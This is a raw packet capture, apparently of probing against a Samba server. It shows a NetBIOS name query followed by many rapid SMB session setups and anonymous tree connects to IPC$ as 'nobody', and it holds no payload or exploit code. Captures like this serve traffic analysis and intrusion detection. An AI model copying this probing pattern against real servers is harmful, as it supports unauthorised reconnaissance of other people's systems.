Samba Service !!!

11:41:17.430014 XX.XX.XXX.164.32773 > XXX.XX.X.137.137: NBT UDP PACKET(137): QUERY; REQUEST; BROADCAST (DF)
0x0000      4500 004e 426b 4000 2f11 d7f8 3e10 69a4  E..NBk@./...>.i.
0x0010      800a 097d 8005 0089 003a 8e76 80f0 0010  ...}.....:.v....
0x0020      0001 0000 0000 0000 2043 4b41 4141 4141  .........CKAAAAA
0x0030      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0040      4141 4141 4141 4141 4100 0021 0001       AAAAAAAAA..!..
11:41:17.433520 XXX.XX.X.137.137 > XX.XX.XXX.164.32773: NBT UDP PACKET(137): QUERY; POSITIVE; RESPONSE; UNICAST (DF)
0x0000      4500 00dd 0000 4000 4011 08d5 800a 097d  E.....@.@......}
0x0010      3e10 69a4 0089 8005 00c9 edec 80f0 8400  >.i.............
0x0020      0000 0001 0000 0000 2043 4b41 4141 4141  .........CKAAAAA
0x0030      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0040      4141 4141 4141 4141 4100 0021 0001 0000  AAAAAAAAA..!....
0x0050      0000 0089 0543 4149 524f 3120 2020 2020  .....CAIRO1.....
0x0060      2020 2020 0004 0043 4149 524f 3120 2020  .......CAIRO1...
0x0070      2020 2020 2020 0304 0043 4149 524f 3120  .........CAIRO1.
0x0080      2020 2020 2020 2020 2004 004d 5947 524f  ...........MYGRO
0x0090      5550 2020 2020 2020 2020 0084 004d 5947  UP...........MYG
0x00a0      524f 5550 2020 2020 2020 2020 1e84 0000  ROUP............
0x00b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00d0      0000 0000 0000 0000 0000 0000 00         .............
11:41:17.433530 XXX.XX.X.137.137 > XX.XX.XXX.164.32773: NBT UDP PACKET(137): QUERY; POSITIVE; RESPONSE; UNICAST (DF)
0x0000      4500 00dd 0000 4000 4011 08d5 800a 097d  E.....@.@......}
0x0010      3e10 69a4 0089 8005 00c9 edec 80f0 8400  >.i.............
0x0020      0000 0001 0000 0000 2043 4b41 4141 4141  .........CKAAAAA
0x0030      4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0040      4141 4141 4141 4141 4100 0021 0001 0000  AAAAAAAAA..!....
0x0050      0000 0089 0543 4149 524f 3120 2020 2020  .....CAIRO1.....
0x0060      2020 2020 0004 0043 4149 524f 3120 2020  .......CAIRO1...
0x0070      2020 2020 2020 0304 0043 4149 524f 3120  .........CAIRO1.
0x0080      2020 2020 2020 2020 2004 004d 5947 524f  ...........MYGRO
0x0090      5550 2020 2020 2020 2020 0084 004d 5947  UP...........MYG
0x00a0      524f 5550 2020 2020 2020 2020 1e84 0000  ROUP............
0x00b0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00c0      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x00d0      0000 0000 0000 0000 0000 0000 00         .............
11:41:17.700577 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: S 1764151069:1764151069(0) win 5840 <mss 1460,sackOK,timestamp 8864501 0,nop,wscale 0> (DF)
0x0000      4500 003c 8de8 4000 2f06 8c98 3e10 69a4  E..<..@./...>.i.
0x0010      800a 097d 854f 008b 6926 cf1d 0000 0000  ...}.O..i&......
0x0020      a002 16d0 fe60 0000 0204 05b4 0402 080a  .....`..........
0x0030      0087 42f5 0000 0000 0103 0300            ..B.........
11:41:17.704457 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: S 1868125514:1868125514(0) ack 1764151070 win 5792 <mss 1460,sackOK,timestamp 8427704 8864501,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 854f 6f59 554a 6926 cf1e  >.i....OoYUJi&..
0x0020      a012 16a0 a0a3 0000 0204 05b4 0402 080a  ................
0x0030      0080 98b8 0087 42f5 0103 0300            ......B.....
11:41:17.704468 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: S 1868125514:1868125514(0) ack 1764151070 win 5792 <mss 1460,sackOK,timestamp 8427704 8864501,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 854f 6f59 554a 6926 cf1e  >.i....OoYUJi&..
0x0020      a012 16a0 a0a3 0000 0204 05b4 0402 080a  ................
0x0030      0080 98b8 0087 42f5 0103 0300            ......B.....
11:41:17.803390 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: S 1773632210:1773632210(0) win 5840 <mss 1460,sackOK,timestamp 8864554 0,nop,wscale 0> (DF)
0x0000      4500 003c 39f8 4000 2f06 e088 3e10 69a4  E..<9.@./...>.i.
0x0010      800a 097d 8550 008b 69b7 7ad2 0000 0000  ...}.P..i.z.....
0x0020      a002 16d0 51e5 0000 0204 05b4 0402 080a  ....Q...........
0x0030      0087 432a 0000 0000 0103 0300            ..C*........
11:41:17.806008 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: S 1871323764:1871323764(0) ack 1773632211 win 5792 <mss 1460,sackOK,timestamp 8427714 8864554,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8550 6f8a 2274 69b7 7ad3  >.i....Po."ti.z.
0x0020      a012 16a0 26c3 0000 0204 05b4 0402 080a  ....&...........
0x0030      0080 98c2 0087 432a 0103 0300            ......C*....
11:41:17.806021 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: S 1871323764:1871323764(0) ack 1773632211 win 5792 <mss 1460,sackOK,timestamp 8427714 8864554,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8550 6f8a 2274 69b7 7ad3  >.i....Po."ti.z.
0x0020      a012 16a0 26c3 0000 0204 05b4 0402 080a  ....&...........
0x0030      0080 98c2 0087 432a 0103 0300            ......C*....
11:41:17.866266 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864586 8427704> (DF)
0x0000      4500 0034 8de9 4000 2f06 8c9f 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 854f 008b 6926 cf1e 6f59 554b  ...}.O..i&..oYUK
0x0020      8010 16d0 cee3 0000 0101 080a 0087 434a  ..............CJ
0x0030      0080 98b8                                ....
11:41:17.866326 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864586 8427704>NBT Packet (DF)
0x0000      4500 0066 8dea 4000 2f06 8c6c 3e10 69a4  E..f..@./..l>.i.
0x0010      800a 097d 854f 008b 6926 cf1e 6f59 554b  ...}.O..i&..oYUK
0x0020      8018 16d0 3ed1 0000 0101 080a 0087 434a  ....>.........CJ
0x0030      0080 98b8 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4909 6400 0100 00ff 0000 0000 2002  ..I.d...........
0x0060      0001 0000 0000                           ......
11:41:17.871445 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: . ack 51 win 5792 <nop,nop,timestamp 8427721 8864586> (DF)
0x0000      4500 0034 cd82 4000 4006 3c06 800a 097d  E..4..@.@.<....}
0x0010      3e10 69a4 008b 854f 6f59 554b 6926 cf50  >.i....OoYUKi&.P
0x0020      8010 16a0 ced0 0000 0101 080a 0080 98c9  ................
0x0030      0087 434a                                ..CJ
11:41:17.871457 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: . ack 51 win 5792 <nop,nop,timestamp 8427721 8864586> (DF)
0x0000      4500 0034 cd82 4000 4006 3c06 800a 097d  E..4..@.@.<....}
0x0010      3e10 69a4 008b 854f 6f59 554b 6926 cf50  >.i....OoYUKi&.P
0x0020      8010 16a0 ced0 0000 0101 080a 0080 98c9  ................
0x0030      0087 434a                                ..CJ
11:41:17.893832 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427723 8864586>NBT Packet (DF)
0x0000      4500 0061 cd83 4000 4006 3bd8 800a 097d  E..a..@.@.;....}
0x0010      3e10 69a4 008b 854f 6f59 554b 6926 cf50  >.i....OoYUKi&.P
0x0020      8018 16a0 5b48 0000 0101 080a 0080 98cb  ....[H..........
0x0030      0087 434a 0000 0029 ff53 4d42 7300 0000  ..CJ...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4909 6400 0100 03ff 0000 0001 0000  ..I.d...........
0x0060      00                                       .
11:41:17.893841 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427723 8864586>NBT Packet (DF)
0x0000      4500 0061 cd83 4000 4006 3bd8 800a 097d  E..a..@.@.;....}
0x0010      3e10 69a4 008b 854f 6f59 554b 6926 cf50  >.i....OoYUKi&.P
0x0020      8018 16a0 5b48 0000 0101 080a 0080 98cb  ....[H..........
0x0030      0087 434a 0000 0029 ff53 4d42 7300 0000  ..CJ...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4909 6400 0100 03ff 0000 0001 0000  ..I.d...........
0x0060      00                                       .
11:41:17.907206 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: S 1770384267:1770384267(0) win 5840 <mss 1460,sackOK,timestamp 8864607 0,nop,wscale 0> (DF)
0x0000      4500 003c a8d4 4000 2f06 71ac 3e10 69a4  E..<..@./.q.>.i.
0x0010      800a 097d 8551 008b 6985 eb8b 0000 0000  ...}.Q..i.......
0x0020      a002 16d0 e127 0000 0204 05b4 0402 080a  .....'..........
0x0030      0087 435f 0000 0000 0103 0300            ..C_........
11:41:17.916162 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: S 1878096631:1878096631(0) ack 1770384268 win 5792 <mss 1460,sackOK,timestamp 8427725 8864607,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8551 6ff1 7af7 6985 eb8c  >.i....Qo.z.i...
0x0020      a012 16a0 5d10 0000 0204 05b4 0402 080a  ....]...........
0x0030      0080 98cd 0087 435f 0103 0300            ......C_....
11:41:17.916173 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: S 1878096631:1878096631(0) ack 1770384268 win 5792 <mss 1460,sackOK,timestamp 8427725 8864607,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8551 6ff1 7af7 6985 eb8c  >.i....Qo.z.i...
0x0020      a012 16a0 5d10 0000 0204 05b4 0402 080a  ....]...........
0x0030      0080 98cd 0087 435f 0103 0300            ......C_....
11:41:17.966823 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864638 8427714> (DF)
0x0000      4500 0034 39f9 4000 2f06 e08f 3e10 69a4  E..49.@./...>.i.
0x0010      800a 097d 8550 008b 69b7 7ad3 6f8a 2275  ...}.P..i.z.o."u
0x0020      8010 16d0 5504 0000 0101 080a 0087 437e  ....U.........C~
0x0030      0080 98c2                                ....
11:41:17.966825 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864638 8427714>NBT Packet (DF)
0x0000      4500 0066 39fa 4000 2f06 e05c 3e10 69a4  E..f9.@./..\>.i.
0x0010      800a 097d 8550 008b 69b7 7ad3 6f8a 2275  ...}.P..i.z.o."u
0x0020      8018 16d0 c3f1 0000 0101 080a 0087 437e  ..............C~
0x0030      0080 98c2 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4a09 6400 0100 00ff 0000 0000 2002  ..J.d...........
0x0060      0001 0000 0000                           ......
11:41:17.969869 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: . ack 51 win 5792 <nop,nop,timestamp 8427731 8864638> (DF)
0x0000      4500 0034 baa6 4000 4006 4ee2 800a 097d  E..4..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 2275 69b7 7b05  >.i....Po."ui.{.
0x0020      8010 16a0 54f1 0000 0101 080a 0080 98d3  ....T...........
0x0030      0087 437e                                ..C~
11:41:17.969882 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: . ack 51 win 5792 <nop,nop,timestamp 8427731 8864638> (DF)
0x0000      4500 0034 baa6 4000 4006 4ee2 800a 097d  E..4..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 2275 69b7 7b05  >.i....Po."ui.{.
0x0020      8010 16a0 54f1 0000 0101 080a 0080 98d3  ....T...........
0x0030      0087 437e                                ..C~
11:41:17.985732 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427732 8864638>NBT Packet (DF)
0x0000      4500 0061 baa7 4000 4006 4eb4 800a 097d  E..a..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 2275 69b7 7b05  >.i....Po."ui.{.
0x0020      8018 16a0 e069 0000 0101 080a 0080 98d4  .....i..........
0x0030      0087 437e 0000 0029 ff53 4d42 7300 0000  ..C~...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4a09 6400 0100 03ff 0000 0001 0000  ..J.d...........
0x0060      00                                       .
11:41:17.985740 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427732 8864638>NBT Packet (DF)
0x0000      4500 0061 baa7 4000 4006 4eb4 800a 097d  E..a..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 2275 69b7 7b05  >.i....Po."ui.{.
0x0020      8018 16a0 e069 0000 0101 080a 0080 98d4  .....i..........
0x0030      0087 437e 0000 0029 ff53 4d42 7300 0000  ..C~...).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4a09 6400 0100 03ff 0000 0001 0000  ..J.d...........
0x0060      00                                       .
11:41:18.009738 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: S 1764432332:1764432332(0) win 5840 <mss 1460,sackOK,timestamp 8864660 0,nop,wscale 0> (DF)
0x0000      4500 003c 5a58 4000 2f06 c028 3e10 69a4  E..<ZX@./..(>.i.
0x0010      800a 097d 8552 008b 692b 19cc 0000 0000  ...}.R..i+......
0x0020      a002 16d0 b30b 0000 0204 05b4 0402 080a  ................
0x0030      0087 4394 0000 0000 0103 0300            ..C.........
11:41:18.012655 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: S 1866775849:1866775849(0) ack 1764432333 win 5792 <mss 1460,sackOK,timestamp 8427735 8864660,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd29 692b 19cd  >.i....RoD.)i+..
0x0020      a012 16a0 ed64 0000 0204 05b4 0402 080a  .....d..........
0x0030      0080 98d7 0087 4394 0103 0300            ......C.....
11:41:18.012669 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: S 1866775849:1866775849(0) ack 1764432333 win 5792 <mss 1460,sackOK,timestamp 8427735 8864660,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd29 692b 19cd  >.i....RoD.)i+..
0x0020      a012 16a0 ed64 0000 0204 05b4 0402 080a  .....d..........
0x0030      0080 98d7 0087 4394 0103 0300            ......C.....
11:41:18.056897 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864684 8427723> (DF)
0x0000      4500 0034 8deb 4000 2f06 8c9d 3e10 69a4  E..4..@./...>.i.
0x0010      800a 097d 854f 008b 6926 cf50 6f59 5578  ...}.O..i&.PoYUx
0x0020      8010 16d0 ce0f 0000 0101 080a 0087 43ac  ..............C.
0x0030      0080 98cb                                ....
11:41:18.056900 XX.XX.XXX.164.34127 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864684 8427723>NBT Packet (DF)
0x0000      4500 0074 8dec 4000 2f06 8c5c 3e10 69a4  E..t..@./..\>.i.
0x0010      800a 097d 854f 008b 6926 cf50 6f59 5578  ...}.O..i&.PoYUx
0x0020      8018 16d0 3150 0000 0101 080a 0087 43ac  ....1P........C.
0x0030      0080 98cb 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4909 6400 0000 0000 0000 5c5c 6970  ..I.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.061941 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427740 8864684>NBT Packet (DF)
0x0000      4500 005f cd84 4000 4006 3bd9 800a 097d  E.._..@.@.;....}
0x0010      3e10 69a4 008b 854f 6f59 5578 6926 cf90  >.i....OoYUxi&..
0x0020      8018 16a0 5f73 0000 0101 080a 0080 98dc  ...._s..........
0x0030      0087 43ac 0000 0027 ff53 4d42 7000 0000  ..C....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4909 6400 0000 02ff ff01 0000 00    ..I.d..........
11:41:18.061950 XXX.XX.X.137.139 > XX.XX.XXX.164.34127: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427740 8864684>NBT Packet (DF)
0x0000      4500 005f cd84 4000 4006 3bd9 800a 097d  E.._..@.@.;....}
0x0010      3e10 69a4 008b 854f 6f59 5578 6926 cf90  >.i....OoYUxi&..
0x0020      8018 16a0 5f73 0000 0101 080a 0080 98dc  ...._s..........
0x0030      0087 43ac 0000 0027 ff53 4d42 7000 0000  ..C....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4909 6400 0000 02ff ff01 0000 00    ..I.d..........
11:41:18.079110 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864694 8427725> (DF)
0x0000      4500 0034 a8d5 4000 2f06 71b3 3e10 69a4  E..4..@./.q.>.i.
0x0010      800a 097d 8551 008b 6985 eb8c 6ff1 7af8  ...}.Q..i...o.z.
0x0020      8010 16d0 8b4e 0000 0101 080a 0087 43b6  .....N........C.
0x0030      0080 98cd                                ....
11:41:18.079263 XX.XX.XXX.164.34129 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864694 8427725>NBT Packet (DF)
0x0000      4500 0066 a8d6 4000 2f06 7180 3e10 69a4  E..f..@./.q.>.i.
0x0010      800a 097d 8551 008b 6985 eb8c 6ff1 7af8  ...}.Q..i...o.z.
0x0020      8018 16d0 f93b 0000 0101 080a 0087 43b6  .....;........C.
0x0030      0080 98cd 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4b09 6400 0100 00ff 0000 0000 2002  ..K.d...........
0x0060      0001 0000 0000                           ......
11:41:18.083372 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: . ack 51 win 5792 <nop,nop,timestamp 8427742 8864694> (DF)
0x0000      4500 0034 e226 4000 4006 2762 800a 097d  E..4.&@.@.'b...}
0x0010      3e10 69a4 008b 8551 6ff1 7af8 6985 ebbe  >.i....Qo.z.i...
0x0020      8010 16a0 8b3b 0000 0101 080a 0080 98de  .....;..........
0x0030      0087 43b6                                ..C.
11:41:18.083382 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: . ack 51 win 5792 <nop,nop,timestamp 8427742 8864694> (DF)
0x0000      4500 0034 e226 4000 4006 2762 800a 097d  E..4.&@.@.'b...}
0x0010      3e10 69a4 008b 8551 6ff1 7af8 6985 ebbe  >.i....Qo.z.i...
0x0020      8010 16a0 8b3b 0000 0101 080a 0080 98de  .....;..........
0x0030      0087 43b6                                ..C.
11:41:18.099265 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427744 8864694>NBT Packet (DF)
0x0000      4500 0061 e227 4000 4006 2734 800a 097d  E..a.'@.@.'4...}
0x0010      3e10 69a4 008b 8551 6ff1 7af8 6985 ebbe  >.i....Qo.z.i...
0x0020      8018 16a0 15b3 0000 0101 080a 0080 98e0  ................
0x0030      0087 43b6 0000 0029 ff53 4d42 7300 0000  ..C....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4b09 6400 0100 03ff 0000 0001 0000  ..K.d...........
0x0060      00                                       .
11:41:18.099274 XXX.XX.X.137.139 > XX.XX.XXX.164.34129: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427744 8864694>NBT Packet (DF)
0x0000      4500 0061 e227 4000 4006 2734 800a 097d  E..a.'@.@.'4...}
0x0010      3e10 69a4 008b 8551 6ff1 7af8 6985 ebbe  >.i....Qo.z.i...
0x0020      8018 16a0 15b3 0000 0101 080a 0080 98e0  ................
0x0030      0087 43b6 0000 0029 ff53 4d42 7300 0000  ..C....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4b09 6400 0100 03ff 0000 0001 0000  ..K.d...........
0x0060      00                                       .
11:41:18.112984 XX.XX.XXX.164.34131 > XXX.XX.X.137.139: S 1773093949:1773093949(0) win 5840 <mss 1460,sackOK,timestamp 8864713 0,nop,wscale 0> (DF)
0x0000      4500 003c 07f4 4000 2f06 128d 3e10 69a4  E..<..@./...>.i.
0x0010      800a 097d 8553 008b 69af 443d 0000 0000  ...}.S..i.D=....
0x0020      a002 16d0 87e0 0000 0204 05b4 0402 080a  ................
0x0030      0087 43c9 0000 0000 0103 0300            ..C.........
11:41:18.115755 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: S 1872548783:1872548783(0) ack 1773093950 win 5792 <mss 1460,sackOK,timestamp 8427745 8864713,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8553 6f9c d3af 69af 443e  >.i....So...i.D>
0x0020      a012 16a0 ab51 0000 0204 05b4 0402 080a  .....Q..........
0x0030      0080 98e1 0087 43c9 0103 0300            ......C.....
11:41:18.115769 XXX.XX.X.137.139 > XX.XX.XXX.164.34131: S 1872548783:1872548783(0) ack 1773093950 win 5792 <mss 1460,sackOK,timestamp 8427745 8864713,nop,wscale 0> (DF)
0x0000      4500 003c 0000 4000 4006 0981 800a 097d  E..<..@.@......}
0x0010      3e10 69a4 008b 8553 6f9c d3af 69af 443e  >.i....So...i.D>
0x0020      a012 16a0 ab51 0000 0204 05b4 0402 080a  .....Q..........
0x0030      0080 98e1 0087 43c9 0103 0300            ......C.....
11:41:18.146679 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: . ack 46 win 5840 <nop,nop,timestamp 8864730 8427732> (DF)
0x0000      4500 0034 39fb 4000 2f06 e08d 3e10 69a4  E..49.@./...>.i.
0x0010      800a 097d 8550 008b 69b7 7b05 6f8a 22a2  ...}.P..i.{.o.".
0x0020      8010 16d0 5437 0000 0101 080a 0087 43da  ....T7........C.
0x0030      0080 98d4                                ....
11:41:18.146681 XX.XX.XXX.164.34128 > XXX.XX.X.137.139: P 51:115(64) ack 46 win 5840 <nop,nop,timestamp 8864730 8427732>NBT Packet (DF)
0x0000      4500 0074 39fc 4000 2f06 e04c 3e10 69a4  E..t9.@./..L>.i.
0x0010      800a 097d 8550 008b 69b7 7b05 6f8a 22a2  ...}.P..i.{.o.".
0x0020      8018 16d0 b677 0000 0101 080a 0087 43da  .....w........C.
0x0030      0080 98d4 0000 003c ff53 4d42 7000 0000  .......<.SMBp...
0x0040      0000 0000 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4a09 6400 0000 0000 0000 5c5c 6970  ..J.d.......\\ip
0x0060      6324 256e 6f62 6f64 7900 0000 0000 0000  c$%nobody.......
0x0070      4950 4324                                IPC$
11:41:18.151557 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427749 8864730>NBT Packet (DF)
0x0000      4500 005f baa8 4000 4006 4eb5 800a 097d  E.._..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 22a2 69b7 7b45  >.i....Po.".i.{E
0x0020      8018 16a0 e49a 0000 0101 080a 0080 98e5  ................
0x0030      0087 43da 0000 0027 ff53 4d42 7000 0000  ..C....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4a09 6400 0000 02ff ff01 0000 00    ..J.d..........
11:41:18.151565 XXX.XX.X.137.139 > XX.XX.XXX.164.34128: P 46:89(43) ack 115 win 5792 <nop,nop,timestamp 8427749 8864730>NBT Packet (DF)
0x0000      4500 005f baa8 4000 4006 4eb5 800a 097d  E.._..@.@.N....}
0x0010      3e10 69a4 008b 8550 6f8a 22a2 69b7 7b45  >.i....Po.".i.{E
0x0020      8018 16a0 e49a 0000 0101 080a 0080 98e5  ................
0x0030      0087 43da 0000 0027 ff53 4d42 7000 0000  ..C....'.SMBp...
0x0040      0080 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0100 4a09 6400 0000 02ff ff01 0000 00    ..J.d..........
11:41:18.173986 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: . ack 1 win 5840 <nop,nop,timestamp 8864744 8427735> (DF)
0x0000      4500 0034 5a59 4000 2f06 c02f 3e10 69a4  E..4ZY@./../>.i.
0x0010      800a 097d 8552 008b 692b 19cd 6f44 bd2a  ...}.R..i+..oD.*
0x0020      8010 16d0 1ba6 0000 0101 080a 0087 43e8  ..............C.
0x0030      0080 98d7                                ....
11:41:18.174200 XX.XX.XXX.164.34130 > XXX.XX.X.137.139: P 1:51(50) ack 1 win 5840 <nop,nop,timestamp 8864744 8427735>NBT Packet (DF)
0x0000      4500 0066 5a5a 4000 2f06 bffc 3e10 69a4  E..fZZ@./...>.i.
0x0010      800a 097d 8552 008b 692b 19cd 6f44 bd2a  ...}.R..i+..oD.*
0x0020      8018 16d0 8893 0000 0101 080a 0087 43e8  ..............C.
0x0030      0080 98d7 0000 002e ff53 4d42 7300 0000  .........SMBs...
0x0040      0008 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4c09 6400 0100 00ff 0000 0000 2002  ..L.d...........
0x0060      0001 0000 0000                           ......
11:41:18.178986 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: . ack 51 win 5792 <nop,nop,timestamp 8427752 8864744> (DF)
0x0000      4500 0034 25c2 4000 4006 e3c6 800a 097d  E..4%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd2a 692b 19ff  >.i....RoD.*i+..
0x0020      8010 16a0 1b93 0000 0101 080a 0080 98e8  ................
0x0030      0087 43e8                                ..C.
11:41:18.178999 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: . ack 51 win 5792 <nop,nop,timestamp 8427752 8864744> (DF)
0x0000      4500 0034 25c2 4000 4006 e3c6 800a 097d  E..4%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd2a 692b 19ff  >.i....RoD.*i+..
0x0020      8010 16a0 1b93 0000 0101 080a 0080 98e8  ................
0x0030      0087 43e8                                ..C.
11:41:18.194674 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427753 8864744>NBT Packet (DF)
0x0000      4500 0061 25c3 4000 4006 e398 800a 097d  E..a%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd2a 692b 19ff  >.i....RoD.*i+..
0x0020      8018 16a0 a50b 0000 0101 080a 0080 98e9  ................
0x0030      0087 43e8 0000 0029 ff53 4d42 7300 0000  ..C....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4c09 6400 0100 03ff 0000 0001 0000  ..L.d...........
0x0060      00                                       .
11:41:18.194683 XXX.XX.X.137.139 > XX.XX.XXX.164.34130: P 1:46(45) ack 51 win 5792 <nop,nop,timestamp 8427753 8864744>NBT Packet (DF)
0x0000      4500 0061 25c3 4000 4006 e398 800a 097d  E..a%.@.@......}
0x0010      3e10 69a4 008b 8552 6f44 bd2a 692b 19ff  >.i....RoD.*i+..
0x0020      8018 16a0 a50b 0000 0101 080a 0080 98e9  ................
0x0030      0087 43e8 0000 0029 ff53 4d42 7300 0000  ..C....).SMBs...
0x0040      0088 0100 0000 0000 0000 0000 0000 0000  ................
0x0050      0000 4c09 6400 0100 03ff 0000 0001 0000  ..L.d...........
0x0060      00                                       .
11:41:18.216177 XX.XX.XXX.164.34132 > XXX.XX.X.137.139: S 1774218135:1774218135(0) win 5840 <mss 1460,sackOK,timestamp 8864766 0,nop,wscale 0> (DF)
0x0000      4500 003c 2869 4000 2f06 f217 3e10 69a4  E..<(i@./...>.i.
0x0010      800a 097d 8554 008b 69c0 6b97 0000 0000  ...}.T..i.k.....
0x0020      a002 16d0 603f 0000 0204 05b4 0402 080a  ....`?..........
0x0030      0087 43fe 0000 0000 0103 0300            ..C.........
